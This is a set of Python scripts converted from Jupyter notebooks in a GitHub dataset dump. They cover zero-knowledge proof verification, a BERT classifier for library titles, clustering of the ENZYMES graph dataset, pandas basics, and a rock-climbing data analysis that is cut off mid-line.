compiled_model_path,\n pk_path,\n proof_path_truthy,\n srs_path,\n \"single\",\n )\n\nprint(res)\nassert os.path.isfile(proof_path_truthy)\n\n# + id=\"76f00d41\"\n# VERIFY IT\n\nres = ezkl.verify(\n proof_path,\n settings_path,\n vk_path,\n srs_path,\n )\nassert res == True\n\nres = ezkl.verify(\n proof_path_truthy,\n settings_path,\n vk_path,\n srs_path,\n )\nassert res == True\n\n# + id=\"4nqEx7-qpciQ\"\nimport pytest\ndef test_verification():\n with pytest.raises(RuntimeError, match='Failed to run verify: The constraint system is not satisfied'):\n ezkl.verify(\n proof_path_faulty,\n settings_path,\n vk_path,\n srs_path,\n )\n\n# Run the test function\ntest_verification()\n","repo_name":"zkonduit/ezkl","sub_path":"examples/notebooks/set_membership.ipynb","file_name":"set_membership.ipynb","file_ext":"py","file_size_in_byte":8954,"program_lang":"python","lang":"en","doc_type":"code","stars":675,"dataset":"github-jupyter-script","pt":"15"} +{"seq_id":"34333763913","text":"# +\n# Importando Arquivo\nimport pandas as pd\n\n# Caminho do arquivo Excel\ncaminho_arquivo = 'caminho/do/arquivo.xlsx'\n\n# Importar o arquivo Excel como um DataFrame\ndf = pd.read_excel(caminho_arquivo)\n\n# Exibir o DataFrame\nprint(df)\n\n\n\n# +\n# Treinamento\n\nimport numpy as np\nfrom sklearn.linear_model import LinearRegression\n\n# Dados de treinamento\nX_train = np.array([[1], [2], [3], [4], [5]]) # Valores de entrada\ny_train = np.array([2, 4, 6, 8, 10]) # Valores de saída correspondentes\n\n# Criar e treinar o modelo de regressão linear\nmodel = LinearRegression()\nmodel.fit(X_train, y_train)\n\n# Valor a ser previsto\nX_test = np.array([[6]]) # Valor de entrada para previsão\n\n# Fazer a previsão\ny_pred = model.predict(X_test)\n\n# Imprimir o resultado da previsão\nprint(\"Valor previsto:\", y_pred[0])\n","repo_name":"NMarlon/Scripts-Marlon-Backup","sub_path":"1 - Projetos/Dados/Vendas/Untitled.ipynb","file_name":"Untitled.ipynb","file_ext":"py","file_size_in_byte":801,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-jupyter-script","pt":"14"} +{"seq_id":"42481440355","text":"def read_matrix(file_name):\n with open(file_name, \"r\") as f:\n lines = f.readlines()\n matrix = []\n for line in lines:\n row = list(line.strip().split())\n matrix.append(row)\n for i, row in enumerate(matrix):\n matrix[i] = [int(a) for a in row]\n return matrix\n\n\nm = read_matrix('./ultrametric.txt')\nm\n\nm_wiki = [[0, 16, 16, 28, 28], [16, 0, 4, 28, 28], [16, 4, 0, 28, 28], [28, 28, 28, 0, 20], [28, 28, 28, 20, 0]]\nm_wiki\n\n\ndef is_ultra(matrix):\n \n n = len(matrix)\n for i in range(n):\n for j in range(n):\n for k in range(n):\n equal_count = 0\n largest = max(matrix[i][j], matrix[i][k], matrix[j][k])\n if matrix[i][j] == largest:\n equal_count += 1\n if matrix[i][k] == largest:\n equal_count += 1\n if matrix[j][k] == largest:\n equal_count += 1\n \n if equal_count < 2:\n return False\n return True\n\n\nis_ultra(m)\n\nis_ultra(m_wiki)\n\n# ## What is the running time of your script, as a function of the number n of species?\n\n# There are 3 nested loops in the function, each running n times. Thus the running time is O(n^3)\n\n# ## What is the best possible running time of an algorithm to test for an ultrametric distance matrix?\n\n# The best possible runnig time is O(n^3)\n\n\n","repo_name":"maxADeVisser/BSG-MDS","sub_path":"bio_informatics_handins/handin3/practical3_pyry.ipynb","file_name":"practical3_pyry.ipynb","file_ext":"py","file_size_in_byte":1409,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"14"} +{"seq_id":"33179148849","text":"# + [markdown] id=\"view-in-github\" colab_type=\"text\"\n# \"Open\n\n# + [markdown] id=\"KYVOU3bIp86r\"\n# ##도서관 다국어 제목 분류 모델\n\n# + [markdown] id=\"ScH6qkWS03am\"\n# ### 패키지 설치 및 드라이브 마운트\n\n# + id=\"mOn3y2YhRbUH\"\nfrom google.colab import drive\ndrive.mount('/content/gdrive')\n\n# + id=\"HONdphwJRrnx\"\n# 트랜스포머 설치\n# !pip install transformers\n\n# + id=\"xxgw1Hs-SRBm\"\nfrom transformers import AutoTokenizer\nimport tensorflow as tf\nimport numpy as np\nimport pandas as pd\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.model_selection import GridSearchCV\nfrom sklearn.model_selection import cross_val_score\nimport torch\nimport transformers as ppb\n\nfrom torch import nn\nimport torch.nn.functional as F\nimport torch.optim as optim\nfrom torch.utils.data import Dataset, DataLoader\nfrom tqdm import tqdm, tqdm_notebook\n\n\n# + [markdown] id=\"5uwkx-cg0Coo\"\n# ### 데이터 가공 파트\n#\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 424} id=\"3r-ZHPqfYewr\" outputId=\"f42e9e9b-14b2-4650-a6c3-d5e54fff436a\"\n#데이터 가공\n#청구기호 숫자 앞 2개만 따와서 각각 매핑. 65~70은 예외적으로 경영학\ndata = pd.read_csv(\"/content/gdrive/MyDrive/LibraryCsv/hapbontocsv.CSV\",encoding = 'cp949')\ndata = data.loc[:,['제목', '청구번호']]\ndata = data.dropna()\ndata\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 424} id=\"w8S_w8f2jfvi\" outputId=\"cb48c4d8-23e9-4baf-92f2-4796e5a5f47e\"\nimport re \ndata['청구번호'] = data['청구번호'].replace({r'(.*?)(\\d{2})\\d.*' : r'\\2'}, regex=True)\ndata\n\n# + id=\"4YyliBVXtLgm\"\ndata['청구번호'] = pd.to_numeric(data['청구번호'],errors = 'coerce')\ndata = data.dropna()\ndata.loc[(data['청구번호'] < 10), ['청구번호']] = 1000\ndata.loc[(data['청구번호'] < 20), ['청구번호']] = 1001\ndata.loc[(data['청구번호'] < 30), ['청구번호']] = 1002\ndata.loc[(data['청구번호'] < 40), ['청구번호']] = 1003\ndata.loc[(data['청구번호'] < 50), ['청구번호']] = 1004\ndata.loc[(data['청구번호'] < 60), ['청구번호']] = 1005\ndata.loc[(data['청구번호'] < 65), ['청구번호']] = 1006 #경영학쪽은 따로 분류이기 떄문에 65 사용\ndata.loc[(data['청구번호'] < 70), ['청구번호']] = 1007 #즉, 1007 쪽이 경영학책\ndata.loc[(data['청구번호'] < 80), ['청구번호']] = 1008\ndata.loc[(data['청구번호'] < 90), ['청구번호']] = 1009\ndata.loc[(data['청구번호'] < 100), ['청구번호']] = 1010\n\nlabels = {'0':'총류',\n '1':'철학',\n '2':'종교',\n '3':'사회학',\n '4':'언어',\n '5':'자연과학',\n '6':'기술과학',\n '7':'경영학',\n '8':'예술',\n '9':'문학',\n '10':'역사'\n }\n\n# + id=\"rgvyP8tRzAyf\"\ndata['청구번호'] = data['청구번호']%1000\ndata['청구번호'] = data['청구번호'].astype(int)\n\n# + id=\"fUbaT3uyxUZw\"\n'''\ndata['청구번호'] = data['청구번호'].apply(str) #스트링 변환, 참고용. 모델 돌리려면 실행하면 안됩니다\ndata['청구번호'] = data['청구번호'].replace(labels)\ndata\n'''\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 424} id=\"FR8prFjLomzC\" outputId=\"5109a3e2-91d1-4a41-9199-17bcc78157e5\"\n#input_string = \"Peace-building and development in Guatemala and Northern Ireland\"\nregex = '[0-9|A-Z|a-z|ㄱ-ㅎ|ㅏ-ㅣ|가-힣|\\s]*[ㄱ-ㅎ|ㅏ-ㅣ|가-힣][0-9|A-Z|a-z|ㄱ-ㅎ|ㅏ-ㅣ|가-힣|\\s]*'\nkor_data = data[data.제목.str.fullmatch(regex)] # 한글이 있다면 따로 빼내기\neng_data = pd.concat([data, kor_data, kor_data]).drop_duplicates(keep=False)\n\nkor_data\n\n# + [markdown] id=\"n6PVJ0P7hI3I\"\n# ### 학습\n\n# + id=\"WG0KXjsqaxZu\"\nfrom transformers import BertModel\n\nclass BertClassifier(nn.Module):\n\n def __init__(self, dropout=0.7):\n super(BertClassifier, self).__init__()\n self.bert = BertModel.from_pretrained('bert-base-multilingual-cased')\n self.dropout = nn.Dropout(dropout)\n self.linear = nn.Linear(768, 11)\n self.relu = nn.ReLU()\n\n def forward(self, input_id, mask):\n _, pooled_output = self.bert(input_ids= input_id, attention_mask=mask,return_dict=False)\n dropout_output = self.dropout(pooled_output)\n linear_output = self.linear(dropout_output)\n final_layer = self.relu(linear_output)\n\n return final_layer\n\n\n# + id=\"tlvUT-T1sxMR\"\nfrom tokenizers import Tokenizer\nfrom transformers import BertTokenizer, BertForSequenceClassification, BertConfig\n\n\nen_tokenizer = BertTokenizer.from_pretrained('bert-base-multilingual-cased')\n\nclass EN_Dataset(torch.utils.data.Dataset):\n def __init__(self, df):\n self.labels = df['청구번호'].values\n self.dic = [en_tokenizer(text, padding='max_length', max_length = 64, truncation=True, return_tensors=\"pt\") for text in df['제목']]\n \n def __len__(self):\n return len(self.labels)\n\n def get_batch_labels(self, idx):\n # Fetch a batch of labels\n return np.array(self.labels[idx])\n\n def __getitem__(self, idx):\n\n batch_texts = self.dic[idx]\n batch_y = self.get_batch_labels(idx)\n\n return batch_texts, batch_y\n\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"nVMPN-OFYFqX\" outputId=\"cc4a7805-6f72-4e1f-f31f-f853bee1cbe8\"\neng_data_sample = eng_data#.sample(frac = 0.8,random_state= 321) \nnp.random.seed(212)\ndf_train, df_val, df_test = np.split(eng_data_sample.sample(frac=1, random_state=42), \n [int(.8*len(eng_data_sample)), int(.9*len(eng_data_sample))])\nprint(\"train:\", len(df_train), \"val:\",len(df_val),\"test:\", len(df_test))\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"OulSVWejWvsf\" outputId=\"74d37d20-98b5-4d84-e6fa-57f3ea14c5fc\"\nfrom torch.optim import AdamW\nfrom tqdm import tqdm\nfrom transformers.optimization import get_cosine_schedule_with_warmup\n\n\ndef train(model, train_data, val_data, learning_rate, epochs):\n\n train, val = EN_Dataset(train_data), EN_Dataset(val_data)\n\n warmup_rate = 0.1\n batch_size=64\n num_total_steps = (len(df_train) // batch_size) * epochs\n num_warmup_steps = num_total_steps * warmup_rate\n\n train_dataloader = torch.utils.data.DataLoader(train, batch_size=batch_size, shuffle=True,num_workers=3)\n val_dataloader = torch.utils.data.DataLoader(val, batch_size=batch_size)\n\n use_cuda = torch.cuda.is_available()\n device = torch.device(\"cuda\" if use_cuda else \"cpu\")\n criterion = nn.CrossEntropyLoss()\n optimizer = AdamW(model.parameters(), lr= learning_rate)\n scheduler = get_cosine_schedule_with_warmup(optimizer, \n num_warmup_steps=num_warmup_steps, \n num_training_steps=num_total_steps)\n if use_cuda:\n print(\"using cuda!\")\n model = model.cuda()\n criterion = criterion.cuda()\n\n for epoch_num in range(epochs):\n\n total_acc_train = 0\n total_loss_train = 0\n\n for i, (train_input, train_label) in enumerate(tqdm(train_dataloader)) :\n\n train_label = train_label.to(device)\n mask = train_input['attention_mask'].to(device)\n input_id = train_input['input_ids'].squeeze(1).to(device)\n\n output = model(input_id, mask)\n \n batch_loss = criterion(output, train_label.long())\n total_loss_train += batch_loss.item()\n \n acc = (output.argmax(dim=1) == train_label).sum().item()\n total_acc_train += acc\n\n model.zero_grad()\n batch_loss.backward()\n optimizer.step()\n scheduler.step()\n \n total_acc_val = 0\n total_loss_val = 0\n\n with torch.no_grad():\n\n for val_input, val_label in val_dataloader:\n\n val_label = val_label.to(device)\n mask = val_input['attention_mask'].to(device)\n input_id = val_input['input_ids'].squeeze(1).to(device)\n\n output = model(input_id, mask)\n\n batch_loss = criterion(output, val_label.long())\n total_loss_val += batch_loss.item()\n \n acc = (output.argmax(dim=1) == val_label).sum().item()\n total_acc_val += acc\n \n print(\n f'Epochs: {epoch_num + 1} | Train Loss: {total_loss_train / len(train_data): .4f} \\\n | Train Accuracy: {total_acc_train / len(train_data): .3f} \\\n | Val Loss: {total_loss_val / len(val_data): .4f} \\\n | Val Accuracy: {total_acc_val / len(val_data): .3f}') \n \nEPOCHS = 4\nmodel = BertClassifier()\nLR = 0.000005 \ntrain(model, df_train, df_val, LR, EPOCHS)\n\n\n# + [markdown] id=\"Dph6TRW3pqdk\"\n# ###테스트\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"8ERGDtwgSFN8\" outputId=\"5497c823-1aaf-4b97-fcd7-284f4d13d77f\"\ndef evaluate(model, test_data):\n\n test = EN_Dataset(test_data)\n\n test_dataloader = torch.utils.data.DataLoader(test, batch_size=2)\n\n use_cuda = torch.cuda.is_available()\n device = torch.device(\"cuda\" if use_cuda else \"cpu\")\n\n if use_cuda:\n\n model = model.cuda()\n\n total_acc_test = 0\n with torch.no_grad():\n\n for test_input, test_label in test_dataloader:\n\n test_label = test_label.to(device)\n mask = test_input['attention_mask'].to(device)\n input_id = test_input['input_ids'].squeeze(1).to(device)\n\n output = model(input_id, mask)\n\n acc = (output.argmax(dim=1) == test_label).sum().item()\n total_acc_test += acc\n \n print(f'Test Accuracy: {total_acc_test / len(test_data): .3f}')\n \nevaluate(model, df_test)\n\n\n# + id=\"431pqwfftiGc\"\ndef get_top_values(model, text):\n use_cuda = torch.cuda.is_available()\n device = torch.device(\"cuda\" if use_cuda else \"cpu\")\n if use_cuda:\n model = model.cuda()\n with torch.no_grad():\n dic = en_tokenizer(text, padding='max_length', max_length = 256, truncation=True, return_tensors=\"pt\")\n input_id = dic['input_ids']\n input_id = input_id.to(device)\n mask = dic['attention_mask']\n mask = mask.to(device)\n output = model(input_id, mask)\n output = F.softmax(output[0],dim=-1)\n print(\"max: \",torch.topk(output,3))\nget_top_values(model, \"history\") # 확인해보고 싶은 제목 입력\nlabels\n\n\n# + [markdown] id=\"wYmV4BA9TFjf\"\n# ### 저장 및 불러오기\n\n# + id=\"dMOA2RLrTH98\"\ndef save_checkpoint(save_path, model, valid_loss):# ------ 모델 평가를 위해 훈련 과정을 저장\n if save_path == None:\n return\n state_dict = {'model_state_dict': model.state_dict(), 'valid_loss': valid_loss}\n torch.save(state_dict, save_path)\n print(f'Model saved to ==> {save_path}')\n\ndef load_checkpoint(load_path, model):# ------ save_checkpoint 함수에서 저장된 모델을 가져오기.\n if load_path == None:\n return\n state_dict = torch.load(load_path, map_location=device)\n print(f'Model loaded from <== {load_path}')\n model.load_state_dict(state_dict['model_state_dict'])\n return state_dict['valid_loss']\n\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"fo7-6iM0v6Iz\" outputId=\"a30f99c7-1b58-4851-fda4-9503b5a1c636\"\nsave_checkpoint(\"/content/gdrive/MyDrive/Learned/fullLearn.multiLangModel\", model, 0.012)\n\n# + id=\"caD0GLFf5qFW\"\ndevice =torch.device(\"cuda\")\nload_checkpoint(\"/content/gdrive/MyDrive/Learned/0.1_loss1e-6_epoch5.multiLangModel\",model)\n","repo_name":"diqnfl777/2022F-Ajou-ML-TEAM3","sub_path":"LibraryModelMultiLang.ipynb","file_name":"LibraryModelMultiLang.ipynb","file_ext":"py","file_size_in_byte":11978,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"14"} +{"seq_id":"30366094616","text":"# # Exploratory Data Analysis\n\n# + id=\"21xKJ1tsqNAM\"\nimport os\nimport numpy as np\nfrom auxiliarymethods import datasets as dp\nfrom auxiliarymethods.reader import tud_to_networkx\nimport pandas as pd\nfrom sklearn.decomposition import KernelPCA, TruncatedSVD\nfrom matplotlib import pyplot as plt\nfrom nrkmeans import NrKmeans\nfrom sklearn.cluster import SpectralClustering\nfrom sklearn.metrics import normalized_mutual_info_score\nimport seaborn as sns\nfrom scipy.sparse import load_npz\nimport auxiliarymethods.auxiliary_methods as aux\nimport networkx as nx\nfrom sklearn.cluster import KMeans\nfrom copy import deepcopy\n\n\n# +\n# utility functions\ndef load_csv(path):\n return np.loadtxt(path, delimiter=\";\")\n\ndef load_sparse(path):\n return load_npz(path)\n\ndef select_from_list(l, indices):\n return [l[i] for i in indices]\n\n\n# -\n\n# ## Overview of NMI performance for different representations\n#\n# ### KPCA\n# Applied [Kernel PCA](https://scikit-learn.org/stable/modules/generated/sklearn.decomposition.KernelPCA.html) with the provided Gram matrix and then clustered the reduced representation with Subkmeans with $k=$'number of ground truth classes'.\n#\n#\n# ### SVD\n# Applied [Truncated SVD](https://scikit-learn.org/stable/modules/generated/sklearn.decomposition.TruncatedSVD.html) a version of SVD that can handle sparse feature matrices and then clustered the reduced representation with Subkmeans with $k=$'number of ground truth classes'.\n#\n# ### Spectral Clustering\n# Applied [Spectral Clustering](https://scikit-learn.org/stable/modules/generated/sklearn.cluster.SpectralClustering.html), an algorithm that is often used to cluster graph data, with the similarities provided by the Gram matrices and with $k=$'number of ground truth classes'. In contrast to Subkmeans Spectral Clustering can find arbitrarily shaped clusters.\n\nresult_names = [\"KPCA\", \"TSVD\", \"SPEC\"]\nfor version in [\"node_labels\", \"without_labels\"]:\n print(f\"#################{version}#################\")\n for name_i in result_names:\n path_i = os.path.join('graph_representations', 'node_labels', 'KPCA.csv')\n nmi_df = pd.read_csv(path_i, index_col=0)\n fig, ax = plt.subplots(figsize=(10,3))\n ax.set_ylabel(\"NMI\")\n ax.set_xlabel(\"WL-Iterations\")\n ax.set_ylim([-0.1,1])\n ax.set_xticks([0,1,2,3,4])\n ax.set_xticklabels([1,2,3,4,5])\n ax.set_title(name_i)\n nmi_df.plot(marker=\"o\", ax=ax)\n plt.show();\n\n# As we can see, for the clustering accuracies for the ENZYMES dataset it does not matter if node labels are included or not. This can be explained by the fact that ENZYMES dataset is highly dimensional and one additional dimension containing ground truth kind of gets lost and is not enough to improve clustering results. \n#\n# For different clustering algorithms the accuracy stays at around 10%. This can be explained by the fact that the data does not contain any well defined clusters independently of the dimensions or data rotations used, which can be see in the following sections.\n\n# + [markdown] id=\"fVrEb7GBq_cP\"\n# ## KPCA, TSVD, SPEC for different ENZYMES representations\n\n# +\nreduced_kpca_dict = {}\nreduced_tsvd_dict = {}\n\nbase_path = os.path.join(\"kernels\",\"node_labels\")\ndataset = \"ENZYMES\"\nnmis_tsvd = {}\nnmis_spec = {}\nnmis_kpca = {}\n\nclasses = dp.get_dataset(dataset)\nrepresentations = [\"wl1\", \"wl2\", \"wl3\", \"wl4\", \"wl5\", \"graphlet\", \"shortestpath\"]\n\n# +\nprint(\"Dataset\", dataset)\n\nfor representation in representations:\n print(\"##################################\")\n print(\"Representation\", representation)\n print(\"##################################\")\n\n #Gram Matrix for the Weisfeiler-Lehman subtree kernel\n gram = load_csv(os.path.join(base_path,f\"{dataset}_gram_matrix_{representation}.csv\"))\n gram = aux.normalize_gram_matrix(gram)\n\n #Sparse Vectors for the Weisfeiler-Lehmann subtree kernel\n vec = load_sparse(os.path.join(base_path,f\"{dataset}_vectors_{representation}.npz\"))\n print(gram.shape, vec.shape)\n\n tsvd = TruncatedSVD(n_components=100)\n reduced_tsvd = tsvd.fit_transform(vec)\n\n kpca = KernelPCA(n_components=100, kernel=\"precomputed\")\n reduced_kpca = kpca.fit_transform(gram)\n\n reduced_kpca_dict[f'{representation}'] = reduced_kpca\n reduced_tsvd_dict[f'{representation}'] = reduced_tsvd\n\n k = len(set(classes.tolist()))\n print(\"n_clusters: \", k)\n d = {0:\"TSVD\",1:\"KPCA\"}\n n_d = {0:nmis_tsvd, 1:nmis_kpca}\n for i,rep_i in enumerate([reduced_tsvd, reduced_kpca]):\n print(d[i])\n\n fig, ax = plt.subplots(figsize=(5,5))\n ax.scatter(rep_i[:,0], rep_i[:,1], c=classes, s=1)\n plt.show();\n\n # Apply Subkmeans\n nrkm = NrKmeans(n_clusters=[k,1])#, allow_larger_noise_space=False)\n nrkm.fit(rep_i, best_of_n_rounds=10, verbose=False)\n print(\"Found Cluster Subspaces: \", nrkm.m)\n subkm_nmi = normalized_mutual_info_score(nrkm.labels[0],classes)\n print(f\"Subkmeans NMI:{subkm_nmi:.4f}\") \n n_d[i][representation] = subkm_nmi\n # Plot rotated space\n V = nrkm.V\n rotated = np.dot(rep_i,V)\n reduced_df = pd.DataFrame(rotated[:,0:2])\n reduced_df[\"labels\"] = classes#nrkm.labels[0]\n sns.pairplot(reduced_df, hue=\"labels\", diag_kind=\"hist\")\n plt.show();\n\n # Apply Spectral Clustering\n spec = SpectralClustering(n_clusters=k, affinity=\"precomputed\")\n spec.fit(gram)\n spec_nmi = normalized_mutual_info_score(spec.labels_,classes)\n nmis_spec[representation] = spec_nmi\n print(f\"Spectral NMI:{spec_nmi:.4f}\") \n\n print(\"##################################\")\n# -\n\nres = {\"KPCA\":nmis_kpca,\"TSVD\": nmis_tsvd, \"SPEC\": nmis_spec}\nfor key, value in res.items():\n print(key)\n for (representation, nmi) in value.items():\n print(representation, \":\", nmi)\n\n\n# As we can see, the best results were achieved by KPCA for Weisfeiler-Lehman representations (around 8%). That is why we decided to run our clustering algorithm on the data with dimensionality number reduced with KPCA.\n\n# ## Visualizing and Interpreting the results\n\ndef visualize(G, color=None, figsize=(5,5)):\n plt.figure(figsize=figsize)\n plt.xticks([])\n plt.yticks([])\n nx.draw_networkx(G, \n pos=nx.spring_layout(G, seed=42),\n with_labels=True,\n node_color=color,\n cmap=\"Set2\")\n plt.show();\n\n\nbase_path = os.path.join(\"kernels\", \"without_labels\")\nds_name = \"ENZYMES\"\nclasses = dp.get_dataset(ds_name)\nG = tud_to_networkx(ds_name)\nprint(f\"Number of graphs in data set is {len(G)}\")\nprint(f\"Number of classes {len(set(classes.tolist()))}\")\n\n# ## Plot example enzyme\n\n# We just use the first in the list\nidx = 0\nvisualize(G[idx])\n\n# ## Plot the vector representation with KernelPCA\n\n# +\nrepresentations = [\"wl1\", \"graphlet\", \"shortestpath\"]\n\nfor representation in representations: \n vec = load_sparse(os.path.join(base_path,f\"{ds_name}_vectors_{representation}.npz\"))\n gram = load_csv(os.path.join(base_path,f\"{ds_name}_gram_matrix_wl{iterations}.csv\"))\n gram = aux.normalize_gram_matrix(gram)\n\n kpca = KernelPCA(n_components=100, kernel=\"precomputed\")\n reduced_kpca = kpca.fit_transform(gram)\n fig, ax = plt.subplots(figsize=(5,5))\n ax.scatter(reduced_kpca[:,0], reduced_kpca[:,1], c=classes, s=1)\n ax.set_title(\"Representation: \" + representation)\n plt.show();\n# -\n\n# ## Plot the vector representation with TruncatedSVD \n\nfor representation in representations: \n vec = load_sparse(os.path.join(base_path,f\"{ds_name}_vectors_{representation}.npz\"))\n tsvd = TruncatedSVD(n_components=100)\n reduced_tsvd = tsvd.fit_transform(vec)\n\n fig, ax = plt.subplots(figsize=(5,5))\n ax.scatter(reduced_tsvd[:,0], reduced_tsvd[:,1], c=classes, s=1)\n ax.set_title(\"Representation: \" + representation)\n plt.show();\n\n# ## Apply Subkmeans with KernelPCA\n#\n# As expected from the results above the Subkmeans model might not be well suited to find the ground truth clusters of the IMDB-BINARY data set.\n\nk = len(set(classes.tolist()))\nprint(\"n_clusters: \", k)\nnrkm = NrKmeans(n_clusters=[k,1], allow_larger_noise_space=True)\nnrkm.fit(reduced_kpca, best_of_n_rounds=10, verbose=False)\nprint(\"Found Cluster Subspaces: \", nrkm.m)\nsubkm_nmi = normalized_mutual_info_score(nrkm.labels[0],classes)\nprint(f\"Subkmeans NMI:{subkm_nmi:.4f}\") \n\n# **Plot the rotated space**\n\nV = nrkm.V\nrotated = np.dot(reduced_kpca,V)\nreduced_df = pd.DataFrame(rotated[:,0:2])\nreduced_df[\"labels\"] = classes\nsns.pairplot(reduced_df, hue=\"labels\", diag_kind=\"hist\")\nplt.show();\n\n# ## Cluster Analysis with KMeans\n#\n# But, we can still use clustering to further explore the data set.\n# Here we use a simple technique for interpreting our cluster results for the IMBD-BINARY data set, but it works the same for the other data sets. \n# We investigate the nearest neighbours of each centroid in each cluster. \n\n# only keep the first 10 components to speed up computation\nreduced_kpca_10 = reduced_kpca[:, 0:10]\n\n# ### First we determine the number of k clusters using a scree plot\n\ncosts = []\nkmeans_runs = []\nk_list = [1, 2, 5, 10, 15, 20, 25, 30, 35, 40]\nfor k in k_list:\n kmeans = KMeans(n_clusters=k)\n kmeans.fit(reduced_kpca_10)\n costs.append(kmeans.inertia_)\n kmeans_runs.append(deepcopy(kmeans))\n\n\ndef scree_plot(k_list, costs):\n plt.figure(figsize=(10,5))\n plt.plot(k_list, costs, marker=\"o\")\n plt.xlabel('Number of Clusters')\n plt.ylabel('KMeans loss')\n plt.title('Search for the elbow to determine the optimal k')\n plt.show();\nscree_plot(k_list, costs)\n\n# Choose k=10\n\nselected_idx = 3\nkmeans = kmeans_runs[selected_idx]\ndf = pd.DataFrame(reduced_kpca_10[:,0:2])\ndf[\"cluster\"] = kmeans.labels_\nsns.pairplot(df, hue=\"cluster\", diag_kind=\"hist\")\nplt.show();\n\n# ## Plot the first n nearest neighbours of each centroid\n\nfrom sklearn.metrics import pairwise_distances\n# select first 2 nearest neighbours in for each cluster\nnr_nearest = 2\nnearest_indices = []\nfor cluster_i in set(kmeans.labels_):\n mask = (kmeans.labels_ == cluster_i)\n selection = reduced_kpca_10[mask]\n print(f\"number of data points in cluster {cluster_i}: {selection.shape[0]}\")\n center_i = kmeans.cluster_centers_[cluster_i].reshape(1,-1)\n distances_i = pairwise_distances(center_i, reduced_kpca_10)\n nearest_indices.append(np.argsort(distances_i, )[0][0:nr_nearest])\n print(f\"Nearest data points in cluster {cluster_i}: {nearest_indices[-1]}\")\n\n\nfor i, indices in enumerate(nearest_indices):\n print(f\"Cluster {i}, Indices {indices}\")\n G_selected = select_from_list(G, indices)\n for g_i in G_selected:\n visualize(g_i)\n\n\n","repo_name":"markkod/pc3-enzymes","sub_path":"exploratory_da/Exploratory Data Analysis.ipynb","file_name":"Exploratory Data Analysis.ipynb","file_ext":"py","file_size_in_byte":10693,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-jupyter-script","pt":"14"} +{"seq_id":"8544895312","text":"import pandas as pd\n\n# ## Series\n#\n# * Series é um tipo de dado que tem um índice acompanhado de um valor\n\ndata = [2,4,6,8,10]\n\ns_data = pd.Series(data)\n\ns_data\n\nindex = ['Linha' + str(i) for i in range(5)]\n\nindex\n\ns_data = pd.Series(data = data, index = index)\n\ns_data\n\ndata = {'Linha' + str(i) : i + 2 for i in range(5)}\n\ndata\n\ns_data = pd.Series(data)\ns_data\n\ns1 = s_data + 2\n\ns1\n\n# ## DataFrames\n\ndata = [[1,2,3], [4,5,6], [7,8,9]]\n\ndata\n\ndf_data = pd.DataFrame(data)\n\ndf_data\n\nindex = ['Linha ' + str(i) for i in range(3)]\nindex\n\ndf_data = pd.DataFrame(data, index)\ndf_data\n\n#\n\n\n\n\n\n\n","repo_name":"kirestein/posTech","sub_path":"Python Projects/Pandas Curse/Extras/.ipynb_checkpoints/02_Criando Estruturas de Dados-checkpoint.ipynb","file_name":"02_Criando Estruturas de Dados-checkpoint.ipynb","file_ext":"py","file_size_in_byte":590,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"14"} +{"seq_id":"2043456018","text":"#\n# # Exploratory Data Analysis Notebook #1 (Introductory)\n#\n# This notebook is 1/2 of exploratory data analysis done for [An all-out test to determine finger flexor critical force in rock climbers by Giles et al](https://www.researchgate.net/publication/343601001_An_all-out_test_to_determine_finger_flexor_critical_force_in_rock_climbers)\n#\n#\n#\n# This notebook contains a brief overview into climbing and the criteria by which our research group (n=121) was measured, as well as a visual representation of some demographics for our participants.\n#\n# We'll be going over some very basic demographics: Gender, age distribution, height/weight, preferred climbing disciplines\n#\n#\n\nimport pandas as pd\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport df_cleaning\n\n# To start off, we're going to clean the dataframe that we've received using a module (df_cleaning) which cleans the Climbing Critical Force Data we're using for data analysis.\n#\n# We're going to be dropping all columns and rows which contain NaN values in all their cells to allow us to work and interact with the data easier.\n\ndataframe = df_cleaning.clean('Climbing Critical Force Data - Giles et al 2020.csv')\n\n\n# To get a sense of the data we're working with, I've included the head() of the file below.\n#\n# For those unfamiliar with climbing, the sport in the capacity of this paper is divided into two different disciplines; sport climbing; longer sustained climbing with a rope, clipping onto anchors as you ascend a route, and bouldering; shorter and more powerful climbing done without a harness or rope. \n#\n# In this paper, the grade (difficulty) \n#\n# measured the of their research group by having them record their redpoint grades (highest diffuculty climb that they've achieved three times) for three different and successful ascents and convert that to International Rock Climbing Research Association grading standards.\n\ndataframe.head()\n\n# Here is a _summary_ of the contents of the dataframe. \n#\n# I've expanded below on some of the more technical columns, for better understanding going forward\n#\n# * Peak Force (KG): Peak Force is considered the highest amount of measured force generated during a test.\n#\n# * CF (Critical Force) (KG): Main focus of the paper; the (trainable) measure of endurance for finger flexers, critical for climbing performance \n#\n# * 40% MVC (KG): Maximum voluntary contractions for forearm flexors\n#\n# * W' (KG): Work capacity, the energy store and amount above the end of critical force during a measurement\n\ndataframe.describe().T\n\n# ## Gender\n#\n# We wanted to start with a very basic demographic and gender felt like a good starting point as there were adjustments done to account for differences during the experiment regarding the measurements of climbing performance.\n#\n# Out of our data of 121 participants: 56 were female, 65 were male.\n\ngender_pie = dataframe.groupby(by='SEX').size()\ngender_pie\n\n#Gender Pie Chart done through Pandas \ngender_explode = (0.03,0.03)\ngender_pie.plot.pie(autopct=\"%.1f%%\", fontsize=11, label=\"Gender\", explode=gender_explode, startangle = 220, colors = ['orange', 'cornflowerblue'] )\n\n# ## Age Distribution \n# Our next demographic, and something that we were curious about was the age distribution. We wanted to get a little more insight on the makeup of our research group, so we categorized our ages into bins and decided to plot that through a histogram with 7 bins.\n#\n# The majority of our research group are between the ages of 25 and 35.\n\nage_bins = [18, 21, 25, 30, 35, 40, 50, 